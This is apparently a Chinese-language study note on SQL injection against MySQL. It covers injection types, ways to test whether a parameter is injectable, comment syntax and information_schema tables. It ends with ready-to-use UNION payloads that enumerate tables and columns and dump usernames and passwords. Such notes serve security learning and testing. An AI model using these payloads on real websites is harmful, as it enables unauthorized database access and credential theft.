SQL
SQL注入是网站存在最多也是最简单的漏洞,主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。
SQL分类
1、按注入数据类型
字符型 整型
2、按注入手法分类
联合查询型注入
报错型注入
布尔型注入
基于时间延迟注入
查询是否可注入
1、输入 ’ 看回显, 报错则可注入
2、输入 1 and 1 =1 查询成功 接着输入1 and 1 = 2 查询失败 即为整型注入
3、输入 1’ and 1=1# 查询成功 输入1’ and 1=2# 查询失败 则为字符型注入
4、and sleep(5) (判断页面返回时间)
查询有几个字段
1‘ order by 1/2…
mysql中的注释符号
1、# (url编码为%23)
2、-- (有个空格)
3、/…/
MySQL中的information_schema数据库
character_sets表 :提供了mysql可用字符集的信息 show character set;命令从这个表获取结果
schema表:提供当前mysql实例中所有数据库的信息 show databases;命令从这个表获取数据
字段:SCHEMA_NAME
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
————————————————
tables表:存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。
SHOW TABLES FROM XX; 命令从这个表获取结果。
字段:TABLE_SCHEMA, TABLE_NAME
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA= xx
columns表:存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM xx; 命令从这个表获取结果。
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=xx and TABLE_NAME=xx
statistics表:表索引的信息。SHOW INDEX FROM xx; 命令从这个表获取结果。
user_privileges表:用户权限表。内容源自 mysql.user 授权表。是非标准表。
schema_privileges表:方案权限表。给出了关于方案(数据库)权限的信息。内容来自 mysql.db 授权表。是非标准表。
table_privileges表:表权限表。给出了关于表权限的信息。内容源自 mysql.tables_priv 授权表。是非标准表。
column_privileges表:列权限表。给出了关于列权限的信息。内容源自 mysql.columns_priv 授权表。是非标准表。
COLLATIONS 表:提供了关于各字符集的对照信息。SHOW COLLATION; 命令从这个表获取结果。
常用查询函数
user() 当前用户名
database()当前数据库
@@version版本号
session_user()返回当前mysql连接的用户名和主机名
@@basedir mysql安装路径
@@datadir 数据库文件安装路径
@@version_compile_os 操作系统版本
limit 将查询结果一个一个输出
select xx from xx limit 1,2
group_concat 一次性全部显示
select group_concat(xx) from xx
联合查询
联合查询相当于把别的表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列
UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
UNION中的每个查询必须包含相同的列。
UNION会从查询结果集中自动去除了重复行。
常用语句
1’ union select user(),database()#
获取数据库中的表
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
获取表中的字段名
1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘xx’#
输出数据
1’ union select user,password from users#